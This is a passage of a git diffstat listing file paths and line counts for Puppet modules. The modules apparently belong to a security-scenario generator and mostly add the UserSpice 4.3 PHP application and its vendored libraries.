| 77 + .../php/templates/fpm/php-fpm.conf.erb | 137 + .../php/templates/fpm/pool.conf.erb | 375 + .../php/types/installoptions.pp | 8 + .../unix/web_frameworks/php/types/provider.pp | 28 + .../unix/web_frameworks/php/types/sapi.pp | 6 + .../webapp/gitlist_040/manifests/apache.pp | 3 +- .../webapp/gitlist_040/manifests/install.pp | 7 + .../webapp/gitlist_040/secgen_metadata.xml | 7 +- .../gitlist_040/templates/.htaccess.erb | 12 + .../webapp/moinmoin_195/secgen_metadata.xml | 7 +- .../webapp/onlinestore/secgen_metadata.xml | 2 +- .../userspice_43/files/userspice/.gitignore | 3 + .../userspice_43/files/userspice/README.md | 12 + .../userspice_43/files/userspice/favicon.ico | Bin 0 -> 1150 bytes .../userspice_43/files/userspice/index.php | 149 + .../files/userspice/install/cleanup.php | 32 + .../files/userspice/install/index.php | 280 + .../install/install/chunks/chunk1.php | 41 + .../install/install/chunks/chunk2.php | 1 + .../install/install/chunks/restore.php | 27 + .../install/css/bootstrap-theme.min.css | 5 + .../install/install/css/bootstrap.min.css | 5 + .../userspice/install/install/css/main.css | 22 + .../install/install/includes/footer.php | 13 + .../install/install/includes/header.php | 45 + .../install/includes/install_settings.php | 31 + .../install/install/includes/sql.sql | 1066 +++ .../files/userspice/install/license.php | 780 ++ .../files/userspice/install/recovery.php | 53 + .../files/userspice/install/step2.php | 203 + .../files/userspice/install/step3.php | 37 + .../userspice/users/_blank_pages/.htaccess | 2 + .../users/_blank_pages/project_root.php | 52 + .../_blank_pages/un_minified_standard.css | 7025 +++++++++++++++++ .../users/_blank_pages/userspice_blank.php | 49 + .../files/userspice/users/account.php | 102 + .../files/userspice/users/admin.php | 773 ++ .../files/userspice/users/admin_backup.php | 613 ++ .../files/userspice/users/admin_ips.php | 174 + .../files/userspice/users/admin_logs.php | 199 + .../userspice/users/admin_logs_exempt.php | 19 + .../userspice/users/admin_logs_manager.php | 188 + .../userspice/users/admin_logs_mapper.php | 14 + .../files/userspice/users/admin_menu.php | 186 + .../files/userspice/users/admin_menu_item.php | 168 + .../files/userspice/users/admin_menus.php | 65 + .../files/userspice/users/admin_message.php | 263 + .../files/userspice/users/admin_messages.php | 443 ++ .../userspice/users/admin_notifications.php | 191 + .../files/userspice/users/admin_page.php | 253 + .../files/userspice/users/admin_pages.php | 179 + .../userspice/users/admin_permission.php | 316 + .../userspice/users/admin_permissions.php | 152 + .../files/userspice/users/admin_user.php | 587 ++ .../files/userspice/users/admin_users.php | 412 + .../files/userspice/users/admin_verify.php | 118 + .../files/userspice/users/api/index.php | 56 + .../files/userspice/users/check_updates.php | 58 + .../files/userspice/users/classes/.htaccess | 2 + .../files/userspice/users/classes/Config.php | 41 + .../files/userspice/users/classes/Cookie.php | 39 + .../files/userspice/users/classes/DB.php | 320 + .../files/userspice/users/classes/Hash.php | 33 + .../files/userspice/users/classes/Input.php | 71 + .../userspice/users/classes/Notification.php | 128 + .../userspice/users/classes/Redirect.php | 49 + .../files/userspice/users/classes/Session.php | 57 + .../users/classes/Shuttle_Dumper.php | 513 ++ .../files/userspice/users/classes/Token.php | 34 + .../files/userspice/users/classes/User.php | 290 + .../userspice/users/classes/Validate.php | 235 + .../users/classes/class.autoloader.php | 104 + .../files/userspice/users/classes/phpMQTT.php | 342 + .../users/classes/phpmailer/Exception.php | 39 + .../users/classes/phpmailer/OAuth.php | 138 + .../users/classes/phpmailer/PHPMailer.php | 4387 ++++++++++ .../classes/phpmailer/PHPMailerAutoload.php | 1 + .../users/classes/phpmailer/POP3.php | 419 + .../users/classes/phpmailer/SMTP.php | 1316 +++ .../files/userspice/users/composer.json | 5 + .../files/userspice/users/composer.lock | 84 + .../files/userspice/users/composer.phar | Bin 0 -> 1852323 bytes .../files/userspice/users/cron/backup.php | 191 + .../files/userspice/users/cron/cron.php | 37 + .../files/userspice/users/cron/sample.php | 40 + .../files/userspice/users/cron_manager.php | 209 + .../files/userspice/users/cron_post.php | 14 + .../files/userspice/users/css/.htaccess | 1 + .../files/userspice/users/css/admin-tabs.css | 255 + .../files/userspice/users/css/blank.css | 0 .../userspice/users/css/bootstrap-rtl.css | 1536 ++++ .../userspice/users/css/bootstrap-rtl.min.css | 9 + .../userspice/users/css/bootstrap-theme.css | 587 ++ .../users/css/bootstrap-theme.css.map | 1 + .../users/css/bootstrap-theme.min.css | 6 + .../users/css/bootstrap-theme.min.css.map | 1 + .../files/userspice/users/css/bootstrap.css | 6760 ++++++++++++++++ .../userspice/users/css/bootstrap.css.map | 1 + .../userspice/users/css/bootstrap.min.css | 6 + .../userspice/users/css/bootstrap.min.css.map | 1 + .../users/css/color_schemes/.htaccess | 1 + .../users/css/color_schemes/bootstrap.min.css | 6 + .../users/css/color_schemes/bright.css | 11 + .../users/css/color_schemes/clean.css | 11 + .../users/css/color_schemes/dark.css | 11 + .../users/css/color_schemes/flat.css | 11 + .../users/css/color_schemes/muted.css | 11 + .../users/css/color_schemes/standard.css | 11 + .../files/userspice/users/css/custom.css | 0 .../users/css/cyborg.bootstrap.min.css | 11 + .../files/userspice/users/css/datatables.css | 1 + .../files/userspice/users/css/fonts/.htaccess | 1 + .../fonts/glyphicons-halflings-regular.eot | Bin 0 -> 20127 bytes .../fonts/glyphicons-halflings-regular.svg | 288 + .../fonts/glyphicons-halflings-regular.ttf | Bin 0 -> 45404 bytes .../fonts/glyphicons-halflings-regular.woff | Bin 0 -> 23424 bytes .../fonts/glyphicons-halflings-regular.woff2 | Bin 0 -> 18028 bytes .../userspice/users/css/lavish.theme.min.css | 1481 ++++ .../userspice/users/css/plugins/.htaccess | 1 + .../userspice/users/css/plugins/morris.css | 2 + .../userspice/users/css/sb-admin-rtl.css | 5 + .../files/userspice/users/css/sb-admin.css | 236 + .../files/userspice/users/css/us-admin.css | 141 + .../files/userspice/users/disable2fa.php | 61 + .../files/userspice/users/edit_profile.php | 110 + .../files/userspice/users/email_settings.php | 295 + .../files/userspice/users/email_test.php | 92 + .../files/userspice/users/enable2fa.php | 87 + .../files/userspice/users/fb-callback.php | 154 + .../files/userspice/users/fonts/.htaccess | 1 + .../files/userspice/users/fonts/css/.htaccess | 1 + .../users/fonts/css/font-awesome.css | 1672 ++++ .../users/fonts/css/font-awesome.min.css | 4 + .../userspice/users/fonts/fonts/.htaccess | 1 + .../users/fonts/fonts/FontAwesome.otf | Bin 0 -> 85908 bytes .../users/fonts/fonts/fontawesome-webfont.eot | Bin 0 -> 56006 bytes .../users/fonts/fonts/fontawesome-webfont.svg | 520 ++ .../users/fonts/fonts/fontawesome-webfont.ttf | Bin 0 -> 112160 bytes .../fonts/fonts/fontawesome-webfont.woff | Bin 0 -> 65452 bytes .../fonts/fonts/fontawesome-webfont.woff2 | Bin 0 -> 71896 bytes .../fonts/glyphicons-halflings-regular.eot | Bin 0 -> 20127 bytes .../fonts/glyphicons-halflings-regular.svg | 288 + .../fonts/glyphicons-halflings-regular.ttf | Bin 0 -> 45404 bytes .../fonts/glyphicons-halflings-regular.woff | Bin 0 -> 23424 bytes .../fonts/glyphicons-halflings-regular.woff2 | Bin 0 -> 18028 bytes .../userspice/users/fonts/less/.htaccess | 1 + .../userspice/users/fonts/less/animated.less | 34 + .../users/fonts/less/bordered-pulled.less | 16 + .../userspice/users/fonts/less/core.less | 11 + .../users/fonts/less/fixed-width.less | 6 + .../users/fonts/less/font-awesome.less | 17 + .../userspice/users/fonts/less/icons.less | 552 ++ .../userspice/users/fonts/less/larger.less | 13 + .../userspice/users/fonts/less/list.less | 19 + .../userspice/users/fonts/less/mixins.less | 25 + .../userspice/users/fonts/less/path.less | 14 + .../users/fonts/less/rotated-flipped.less | 20 + .../users/fonts/less/screen-reader.less | 5 + .../userspice/users/fonts/less/spinning.less | 29 + .../userspice/users/fonts/less/stacked.less | 20 + .../userspice/users/fonts/less/variables.less | 561 ++ .../userspice/users/fonts/scss/.htaccess | 1 + .../userspice/users/fonts/scss/_animated.scss | 34 + .../users/fonts/scss/_bordered-pulled.scss | 16 + .../userspice/users/fonts/scss/_core.scss | 11 + .../users/fonts/scss/_fixed-width.scss | 6 + .../userspice/users/fonts/scss/_icons.scss | 552 ++ .../userspice/users/fonts/scss/_larger.scss | 13 + .../userspice/users/fonts/scss/_list.scss | 19 + .../userspice/users/fonts/scss/_mixins.scss | 25 + .../userspice/users/fonts/scss/_path.scss | 14 + .../users/fonts/scss/_rotated-flipped.scss | 20 + .../users/fonts/scss/_screen-reader.scss | 5 + .../userspice/users/fonts/scss/_spinning.scss | 29 + .../userspice/users/fonts/scss/_stacked.scss | 20 + .../users/fonts/scss/_variables.scss | 561 ++ .../users/fonts/scss/font-awesome.scss | 17 + .../files/userspice/users/forgot_password.php | 94 + .../userspice/users/forgot_password_reset.php | 114 + .../files/userspice/users/google_helpers.php | 43 + .../files/userspice/users/helpers/.htaccess | 2 + .../files/userspice/users/helpers/audit.php | 209 + .../userspice/users/helpers/backup_util.php | 399 + .../users/helpers/class.treeManager.php | 270 + .../users/helpers/google_helpers.php | 43 + .../files/userspice/users/helpers/helpers.php | 238 + .../userspice/users/helpers/language.php | 182 + .../files/userspice/users/helpers/menus.php | 73 + .../userspice/users/helpers/us_helpers.php | 1572 ++++ .../userspice/users/helpers/users_online.php | 92 + .../files/userspice/users/images/.htaccess | 1 + .../files/userspice/users/images/facebook.png | Bin 0 -> 4534 bytes .../files/userspice/users/images/google.png | Bin 0 -> 3169 bytes .../files/userspice/users/images/logo.png | Bin 0 -> 8207 bytes .../files/userspice/users/includes/.htaccess | 2 + .../userspice/users/includes/admin_nav.php | 72 + .../users/includes/database-navigation.php | 110 + .../users/includes/facebook_oauth.php | 65 + .../userspice/users/includes/google_oauth.php | 99 + .../users/includes/google_oauth_login.php | 26 + .../files/userspice/users/includes/header.php | 184 + .../userspice/users/includes/html_footer.php | 24 + .../userspice/users/includes/migrations.php | 16 + .../userspice/users/includes/navigation.php | 120 + .../users/includes/notifications.php | 127 + .../userspice/users/includes/page_footer.php | 36 + .../users/includes/password_meter.php | 21 + .../users/includes/recaptcha.config.php | 127 + .../users/includes/user_spice_ver.php | 3 + .../files/userspice/users/index.php | 29 + .../files/userspice/users/init.php | 27 + .../files/userspice/users/join.php | 348 + .../files/userspice/users/joinThankYou.php | 50 + .../files/userspice/users/js/.htaccess | 1 + .../userspice/users/js/bootstrap-editable.js | 6807 ++++++++++++++++ .../files/userspice/users/js/bootstrap.js | 2363 ++++++ .../files/userspice/users/js/bootstrap.min.js | 7 + .../files/userspice/users/js/combobox.js | 462 ++ .../files/userspice/users/js/jquery.js | 4 + .../files/userspice/users/js/jwerty.js | 540 ++ .../files/userspice/users/js/npm.js | 13 + .../files/userspice/users/js/oce.js | 167 + .../users/js/pagination/dataTables.js | 8 + .../users/js/pagination/jquery.dataTables.js | 166 + .../userspice/users/js/plugins/.htaccess | 1 + .../userspice/users/js/plugins/flot/.htaccess | 1 + .../users/js/plugins/flot/excanvas.min.js | 1 + .../users/js/plugins/flot/flot-data.js | 1244 +++ .../users/js/plugins/flot/jquery.flot.js | 2599 ++++++ .../users/js/plugins/flot/jquery.flot.pie.js | 750 ++ .../js/plugins/flot/jquery.flot.resize.js | 60 + .../plugins/flot/jquery.flot.tooltip.min.js | 12 + .../users/js/plugins/morris/.htaccess | 1 + .../users/js/plugins/morris/morris-data.js | 227 + .../users/js/plugins/morris/morris.js | 1892 +++++ .../users/js/plugins/morris/morris.min.js | 7 + .../users/js/plugins/morris/raphael.min.js | 11 + .../files/userspice/users/js/search.js | 53 + .../js/zxcvbn-bootstrap-strength-meter.js | 85 + .../files/userspice/users/licenses/.htaccess | 2 + .../users/licenses/UserCake 2 License.txt | 35 + .../users/licenses/UserSpice 4 License.txt | 190 + .../users/licenses/theme_license.txt | 202 + .../files/userspice/users/login.php | 201 + .../files/userspice/users/logout.php | 18 + .../files/userspice/users/maintenance.php | 69 + .../files/userspice/users/message.php | 391 + .../files/userspice/users/messages.php | 505 ++ .../files/userspice/users/mqtt_settings.php | 182 + .../files/userspice/users/oauth_success.php | 38 + .../users/parsers/dismissNotifications.php | 58 + .../userspice/users/parsers/editMQTT.php | 41 + .../userspice/users/parsers/editMenu.php | 33 + .../users/parsers/existingUsernameCheck.php | 37 + .../users/parsers/getNotifications.php | 150 + .../files/userspice/users/profile.php | 86 + .../Facebook/Authentication/AccessToken.php | 160 + .../Authentication/AccessTokenMetadata.php | 390 + .../Facebook/Authentication/OAuth2Client.php | 292 + .../FacebookAuthenticationException.php | 33 + .../FacebookAuthorizationException.php | 33 + .../Exceptions/FacebookClientException.php | 33 + .../Exceptions/FacebookOtherException.php | 33 + .../Exceptions/FacebookResponseException.php | 214 + .../FacebookResumableUploadException.php | 33 + .../Exceptions/FacebookSDKException.php | 33 + .../Exceptions/FacebookServerException.php | 33 + .../Exceptions/FacebookThrottleException.php | 33 + .../userspice/users/src/Facebook/Facebook.php | 614 ++ .../users/src/Facebook/FacebookApp.php | 110 + .../src/Facebook/FacebookBatchRequest.php | 301 + .../src/Facebook/FacebookBatchResponse.php | 174 + .../users/src/Facebook/FacebookClient.php | 250 + .../users/src/Facebook/FacebookRequest.php | 534 ++ .../users/src/Facebook/FacebookResponse.php | 410 + .../src/Facebook/FileUpload/FacebookFile.php | 169 + .../FileUpload/FacebookResumableUploader.php | 167 + .../FileUpload/FacebookTransferChunk.php | 133 + .../src/Facebook/FileUpload/FacebookVideo.php | 33 + .../src/Facebook/FileUpload/Mimetypes.php | 987 +++ .../src/Facebook/GraphNodes/Birthday.php | 85 + .../src/Facebook/GraphNodes/Collection.php | 242 + .../Facebook/GraphNodes/GraphAchievement.php | 113 + .../src/Facebook/GraphNodes/GraphAlbum.php | 183 + .../Facebook/GraphNodes/GraphApplication.php | 43 + .../Facebook/GraphNodes/GraphCoverPhoto.php | 72 + .../src/Facebook/GraphNodes/GraphEdge.php | 238 + .../src/Facebook/GraphNodes/GraphEvent.php | 242 + .../src/Facebook/GraphNodes/GraphGroup.php | 170 + .../src/Facebook/GraphNodes/GraphList.php | 36 + .../src/Facebook/GraphNodes/GraphLocation.php | 102 + .../src/Facebook/GraphNodes/GraphNode.php | 197 + .../Facebook/GraphNodes/GraphNodeFactory.php | 392 + .../src/Facebook/GraphNodes/GraphObject.php | 36 + .../GraphNodes/GraphObjectFactory.php | 88 + .../src/Facebook/GraphNodes/GraphPage.php | 125 + .../src/Facebook/GraphNodes/GraphPicture.php | 72 + .../Facebook/GraphNodes/GraphSessionInfo.php | 102 + .../src/Facebook/GraphNodes/GraphUser.php | 172 + .../Facebook/Helpers/FacebookCanvasHelper.php | 52 + .../Helpers/FacebookJavaScriptHelper.php | 42 + .../Helpers/FacebookPageTabHelper.php | 95 + .../Helpers/FacebookRedirectLoginHelper.php | 333 + .../FacebookSignedRequestFromInputHelper.php | 166 + .../src/Facebook/Http/GraphRawResponse.php | 137 + .../Facebook/Http/RequestBodyInterface.php | 39 + .../Facebook/Http/RequestBodyMultipart.php | 170 + .../Facebook/Http/RequestBodyUrlEncoded.php | 55 + .../src/Facebook/HttpClients/FacebookCurl.php | 129 + .../HttpClients/FacebookCurlHttpClient.php | 163 + .../HttpClients/FacebookGuzzleHttpClient.php | 97 + .../FacebookHttpClientInterface.php | 47 + .../Facebook/HttpClients/FacebookStream.php | 80 + .../HttpClients/FacebookStreamHttpClient.php | 94 + .../HttpClients/HttpClientsFactory.php | 99 + .../certs/DigiCertHighAssuranceEVRootCA.pem | 23 + .../FacebookMemoryPersistentDataHandler.php | 53 + .../FacebookSessionPersistentDataHandler.php | 76 + .../PersistentData/PersistentDataFactory.php | 65 + .../PersistentDataInterface.php | 49 + .../McryptPseudoRandomStringGenerator.php | 68 + .../OpenSslPseudoRandomStringGenerator.php | 67 + .../PseudoRandomStringGeneratorFactory.php | 93 + .../PseudoRandomStringGeneratorInterface.php | 45 + .../PseudoRandomStringGeneratorTrait.php | 58 + .../UrandomPseudoRandomStringGenerator.php | 89 + .../users/src/Facebook/SignedRequest.php | 326 + .../Url/FacebookUrlDetectionHandler.php | 182 + .../Facebook/Url/FacebookUrlManipulator.php | 167 + .../Facebook/Url/UrlDetectionInterface.php | 39 + .../userspice/users/src/Facebook/autoload.php | 81 + .../users/src/Facebook/polyfills.php | 49 + .../users/src/Google/Google_Client.php | 453 ++ .../auth/Google_AssertionCredentials.php | 95 + .../users/src/Google/auth/Google_Auth.php | 36 + .../users/src/Google/auth/Google_AuthNone.php | 48 + .../src/Google/auth/Google_LoginTicket.php | 63 + .../users/src/Google/auth/Google_OAuth2.php | 444 ++ .../src/Google/auth/Google_P12Signer.php | 70 + .../src/Google/auth/Google_PemVerifier.php | 66 + .../users/src/Google/auth/Google_Signer.php | 30 + .../users/src/Google/auth/Google_Verifier.php | 31 + .../src/Google/cache/Google_ApcCache.php | 98 + .../users/src/Google/cache/Google_Cache.php | 55 + .../src/Google/cache/Google_FileCache.php | 137 + .../src/Google/cache/Google_MemcacheCache.php | 130 + .../userspice/users/src/Google/config.php | 65 + .../contrib/Google_AdexchangebuyerService.php | 567 ++ .../Google/contrib/Google_AdsenseService.php | 1140 +++ .../contrib/Google_AdsensehostService.php | 1378 ++++ .../contrib/Google_AnalyticsService.php | 1887 +++++ .../Google/contrib/Google_BigqueryService.php | 1821 +++++ .../Google/contrib/Google_BloggerService.php | 1301 +++ .../Google/contrib/Google_BooksService.php | 2793 +++++++ .../Google/contrib/Google_CalendarService.php | 1931 +++++ .../Google/contrib/Google_ComputeService.php | 2629 ++++++ .../contrib/Google_CustomsearchService.php | 836 ++ .../Google/contrib/Google_DriveService.php | 2157 +++++ .../Google/contrib/Google_FreebaseService.php | 89 + .../contrib/Google_FusiontablesService.php | 1326 ++++ .../src/Google/contrib/Google_GanService.php | 1605 ++++ .../Google/contrib/Google_LatitudeService.php | 283 + .../contrib/Google_LicensingService.php | 285 + .../contrib/Google_ModeratorService.php | 1888 +++++ .../Google/contrib/Google_Oauth2Service.php | 265 + .../Google/contrib/Google_OrkutService.php | 2554 ++++++ .../contrib/Google_PagespeedonlineService.php | 474 ++ .../contrib/Google_PlusMomentsService.php | 567 ++ .../src/Google/contrib/Google_PlusService.php | 1525 ++++ .../contrib/Google_PredictionService.php | 429 + .../Google/contrib/Google_ShoppingService.php | 1311 +++ .../Google_SiteVerificationService.php | 287 + .../Google/contrib/Google_StorageService.php | 1076 +++ .../contrib/Google_TaskqueueService.php | 423 + .../Google/contrib/Google_TasksService.php | 580 ++ .../contrib/Google_TranslateService.php | 244 + .../contrib/Google_UrlshortenerService.php | 325 + .../Google/contrib/Google_WebfontsService.php | 130 + .../Google/contrib/Google_YoutubeService.php | 996 +++ .../src/Google/external/URITemplateParser.php | 209 + .../src/Google/io/Google_CacheParser.php | 173 + .../users/src/Google/io/Google_CurlIO.php | 278 + .../src/Google/io/Google_HttpRequest.php | 304 + .../users/src/Google/io/Google_IO.php | 49 + .../users/src/Google/io/Google_REST.php | 128 + .../userspice/users/src/Google/io/cacerts.pem | 714 ++ .../Google/service/Google_BatchRequest.php | 110 + .../Google/service/Google_MediaFileUpload.php | 244 + .../users/src/Google/service/Google_Model.php | 115 + .../src/Google/service/Google_Service.php | 22 + .../Google/service/Google_ServiceResource.php | 196 + .../users/src/Google/service/Google_Utils.php | 117 + .../files/userspice/users/subscribe.php | 65 + .../files/userspice/users/times.php | 36 + .../files/userspice/users/tomfoolery.php | 187 + .../files/userspice/users/twofa.php | 125 + .../files/userspice/users/update.php | 151 + .../files/userspice/users/user_settings.php | 347 + .../files/userspice/users/vendor/autoload.php | 7 + .../vendor/bacon/bacon-qr-code/.gitignore | 9 + .../vendor/bacon/bacon-qr-code/.travis.yml | 14 + .../users/vendor/bacon/bacon-qr-code/LICENSE | 22 + .../vendor/bacon/bacon-qr-code/Module.php | 37 + .../vendor/bacon/bacon-qr-code/README.md | 24 + .../bacon/bacon-qr-code/autoload_classmap.php | 43 + .../bacon/bacon-qr-code/autoload_function.php | 12 + .../bacon/bacon-qr-code/autoload_register.php | 2 + .../vendor/bacon/bacon-qr-code/composer.json | 29 + .../src/BaconQrCode/Common/AbstractEnum.php | 115 + .../src/BaconQrCode/Common/BitArray.php | 435 + .../src/BaconQrCode/Common/BitMatrix.php | 350 + .../src/BaconQrCode/Common/BitUtils.php | 51 + .../BaconQrCode/Common/CharacterSetEci.php | 134 + .../src/BaconQrCode/Common/EcBlock.php | 65 + .../src/BaconQrCode/Common/EcBlocks.php | 101 + .../Common/ErrorCorrectionLevel.php | 62 + .../BaconQrCode/Common/FormatInformation.php | 236 + .../src/BaconQrCode/Common/Mode.php | 70 + .../BaconQrCode/Common/ReedSolomonCodec.php | 476 ++ .../src/BaconQrCode/Common/Version.php | 687 ++ .../src/BaconQrCode/Encoder/BlockPair.php | 64 + .../src/BaconQrCode/Encoder/ByteMatrix.php | 158 + .../src/BaconQrCode/Encoder/Encoder.php | 687 ++ .../src/BaconQrCode/Encoder/MaskUtil.php | 291 + .../src/BaconQrCode/Encoder/MatrixUtil.php | 580 ++ .../src/BaconQrCode/Encoder/QrCode.php | 201 + .../Exception/ExceptionInterface.php | 14 + .../Exception/InvalidArgumentException.php | 14 + .../Exception/OutOfBoundsException.php | 14 + .../Exception/RuntimeException.php | 14 + .../Exception/UnexpectedValueException.php | 14 + .../BaconQrCode/Exception/WriterException.php | 14 + .../src/BaconQrCode/Renderer/Color/Cmyk.php | 160 + .../Renderer/Color/ColorInterface.php | 37 + .../src/BaconQrCode/Renderer/Color/Gray.php | 84 + .../src/BaconQrCode/Renderer/Color/Rgb.php | 148 + .../Renderer/Image/AbstractRenderer.php | 338 + .../Image/Decorator/DecoratorInterface.php | 63 + .../Image/Decorator/FinderPattern.php | 210 + .../src/BaconQrCode/Renderer/Image/Eps.php | 152 + .../src/BaconQrCode/Renderer/Image/Png.php | 115 + .../Renderer/Image/RendererInterface.php | 61 + .../src/BaconQrCode/Renderer/Image/Svg.php | 146 + .../Renderer/RendererInterface.php | 26 + .../src/BaconQrCode/Renderer/Text/Html.php | 91 + .../src/BaconQrCode/Renderer/Text/Plain.php | 150 + .../bacon-qr-code/src/BaconQrCode/Writer.php | 105 + .../tests/BaconQrCode/Common/BitArrayTest.php | 201 + .../BaconQrCode/Common/BitMatrixTest.php | 119 + .../tests/BaconQrCode/Common/BitUtilsTest.php | 30 + .../Common/ErrorCorrectionLevelTest.php | 40 + .../Common/FormatInformationTest.php | 104 + .../tests/BaconQrCode/Common/ModeTest.php | 42 + .../Common/ReedSolomonCodecTest.php | 111 + .../tests/BaconQrCode/Common/VersionTest.php | 88 + .../tests/BaconQrCode/Encoder/EncoderTest.php | 468 ++ .../BaconQrCode/Encoder/MaskUtilTest.php | 281 + .../BaconQrCode/Encoder/MatrixUtilTest.php | 336 + .../BaconQrCode/Renderer/Text/HtmlTest.php | 99 + .../BaconQrCode/Renderer/Text/TextTest.php | 149 + .../bacon/bacon-qr-code/tests/bootstrap.php | 10 + .../bacon/bacon-qr-code/tests/phpunit.xml | 11 + .../users/vendor/composer/ClassLoader.php | 445 ++ .../userspice/users/vendor/composer/LICENSE | 21 + .../vendor/composer/autoload_classmap.php | 9 + .../users/vendor/composer/autoload_files.php | 11 + .../vendor/composer/autoload_namespaces.php | 10 + .../users/vendor/composer/autoload_psr4.php | 14 + .../users/vendor/composer/autoload_real.php | 70 + .../users/vendor/composer/autoload_static.php | 70 + .../users/vendor/composer/installed.json | 406 + .../constant_time_encoding/.gitignore | 2 + .../constant_time_encoding/.travis.yml | 18 + .../constant_time_encoding/LICENSE.txt | 48 + .../constant_time_encoding/README.md | 74 + .../constant_time_encoding/composer.json | 40 + .../constant_time_encoding/phpunit.xml.dist | 29 + .../constant_time_encoding/src/Base32.php | 389 + .../constant_time_encoding/src/Base32Hex.php | 110 + .../constant_time_encoding/src/Base64.php | 220 + .../src/Base64DotSlash.php | 87 + .../src/Base64DotSlashOrdered.php | 81 + .../src/Base64UrlSafe.php | 94 + .../constant_time_encoding/src/Binary.php | 97 + .../src/EncoderInterface.php | 50 + .../constant_time_encoding/src/Encoding.php | 244 + .../constant_time_encoding/src/Hex.php | 125 + .../constant_time_encoding/src/RFC4648.php | 165 + .../tests/Base32HexTest.php | 32 + .../tests/Base32Test.php | 32 + .../tests/Base64DotSlashOrderedTest.php | 24 + .../tests/Base64DotSlashTest.php | 24 + .../tests/Base64Test.php | 77 + .../tests/Base64UrlSafeTest.php | 29 + .../tests/EncodingTest.php | 307 + .../constant_time_encoding/tests/HexTest.php | 39 + .../tests/RFC4648Test.php | 84 + .../vendor/paragonie/random_compat/LICENSE | 22 + .../paragonie/random_compat/build-phar.sh | 5 + .../paragonie/random_compat/composer.json | 37 + .../dist/random_compat.phar.pubkey | 5 + .../dist/random_compat.phar.pubkey.asc | 11 + .../random_compat/lib/byte_safe_strings.php | 181 + .../random_compat/lib/cast_to_int.php | 75 + .../random_compat/lib/error_polyfill.php | 49 + .../paragonie/random_compat/lib/random.php | 223 + .../lib/random_bytes_com_dotnet.php | 88 + .../lib/random_bytes_dev_urandom.php | 167 + .../lib/random_bytes_libsodium.php | 88 + .../lib/random_bytes_libsodium_legacy.php | 92 + .../random_compat/lib/random_bytes_mcrypt.php | 77 + .../random_compat/lib/random_int.php | 190 + .../random_compat/other/build_phar.php | 57 + .../random_compat/psalm-autoload.php | 9 + .../vendor/paragonie/random_compat/psalm.xml | 16 + .../phpmailer/.github/ISSUE_TEMPLATE.md | 13 + .../phpmailer/phpmailer/.phan/config.php | 41 + .../users/vendor/phpmailer/phpmailer/.php_cs | 31 + .../users/vendor/phpmailer/phpmailer/LICENSE | 504 ++ .../vendor/phpmailer/phpmailer/UPGRADING.md | 125 + .../users/vendor/phpmailer/phpmailer/VERSION | 1 + .../vendor/phpmailer/phpmailer/composer.json | 54 + .../phpmailer/phpmailer/get_oauth_token.php | 144 + .../phpmailer/language/phpmailer.lang-am.php | 26 + .../phpmailer/language/phpmailer.lang-ar.php | 27 + .../phpmailer/language/phpmailer.lang-az.php | 26 + .../phpmailer/language/phpmailer.lang-ba.php | 26 + .../phpmailer/language/phpmailer.lang-be.php | 26 + .../phpmailer/language/phpmailer.lang-bg.php | 26 + .../phpmailer/language/phpmailer.lang-ca.php | 26 + .../phpmailer/language/phpmailer.lang-ch.php | 26 + .../phpmailer/language/phpmailer.lang-cs.php | 25 + .../phpmailer/language/phpmailer.lang-da.php | 26 + .../phpmailer/language/phpmailer.lang-de.php | 25 + .../phpmailer/language/phpmailer.lang-el.php | 25 + .../phpmailer/language/phpmailer.lang-eo.php | 25 + .../phpmailer/language/phpmailer.lang-es.php | 26 + .../phpmailer/language/phpmailer.lang-et.php | 27 + .../phpmailer/language/phpmailer.lang-fa.php | 27 + .../phpmailer/language/phpmailer.lang-fi.php | 27 + .../phpmailer/language/phpmailer.lang-fo.php | 26 + .../phpmailer/language/phpmailer.lang-fr.php | 29 + .../phpmailer/language/phpmailer.lang-gl.php | 26 + .../phpmailer/language/phpmailer.lang-he.php | 26 + .../phpmailer/language/phpmailer.lang-hr.php | 26 + .../phpmailer/language/phpmailer.lang-hu.php | 26 + .../phpmailer/language/phpmailer.lang-id.php | 26 + .../phpmailer/language/phpmailer.lang-it.php | 27 + .../phpmailer/language/phpmailer.lang-ja.php | 27 + .../phpmailer/language/phpmailer.lang-ka.php | 26 + .../phpmailer/language/phpmailer.lang-ko.php | 26 + .../phpmailer/language/phpmailer.lang-lt.php | 26 + .../phpmailer/language/phpmailer.lang-lv.php | 26 + .../phpmailer/language/phpmailer.lang-ms.php | 26 + .../phpmailer/language/phpmailer.lang-nb.php | 25 + .../phpmailer/language/phpmailer.lang-nl.php | 26 + .../phpmailer/language/phpmailer.lang-pl.php | 26 + .../phpmailer/language/phpmailer.lang-pt.php | 26 + .../language/phpmailer.lang-pt_br.php | 29 + .../phpmailer/language/phpmailer.lang-ro.php | 26 + .../phpmailer/language/phpmailer.lang-rs.php | 26 + .../phpmailer/language/phpmailer.lang-ru.php | 27 + .../phpmailer/language/phpmailer.lang-sk.php | 26 + .../phpmailer/language/phpmailer.lang-sl.php | 26 + .../phpmailer/language/phpmailer.lang-sv.php | 26 + .../phpmailer/language/phpmailer.lang-tr.php | 30 + .../phpmailer/language/phpmailer.lang-uk.php | 27 + .../phpmailer/language/phpmailer.lang-vi.php | 26 + .../phpmailer/language/phpmailer.lang-zh.php | 28 + .../language/phpmailer.lang-zh_cn.php | 28 + .../phpmailer/phpmailer/phpdoc.dist.xml | 20 + .../phpmailer/phpmailer/src/Exception.php | 39 + .../vendor/phpmailer/phpmailer/src/OAuth.php | 138 + .../phpmailer/phpmailer/src/PHPMailer.php | 4387 ++++++++++ .../vendor/phpmailer/phpmailer/src/POP3.php | 419 + .../vendor/phpmailer/phpmailer/src/SMTP.php | 1316 +++ .../vendor/pragmarx/google2fa/.gitignore | 5 + .../vendor/pragmarx/google2fa/.travis.yml | 20 + .../users/vendor/pragmarx/google2fa/LICENSE | 13 + .../vendor/pragmarx/google2fa/changelog.md | 61 + .../vendor/pragmarx/google2fa/composer.json | 39 + .../pragmarx/google2fa/docs/playground.jpg | Bin 0 -> 102734 bytes .../vendor/pragmarx/google2fa/phpunit.xml | 36 + .../users/vendor/pragmarx/google2fa/readme.md | 259 + ...atibleWithGoogleAuthenticatorException.php | 10 + .../Exceptions/InvalidCharactersException.php | 10 + .../Exceptions/SecretKeyTooShortException.php | 10 + .../pragmarx/google2fa/src/Google2FA.php | 380 + .../pragmarx/google2fa/src/Support/Base32.php | 135 + .../google2fa/src/Support/Constants.php | 21 + .../pragmarx/google2fa/src/Support/QRCode.php | 65 + .../pragmarx/google2fa/src/Support/Url.php | 16 + .../vendor/pragmarx/google2fa/tests/.gitkeep | 0 .../google2fa/tests/Google2FATest.php | 224 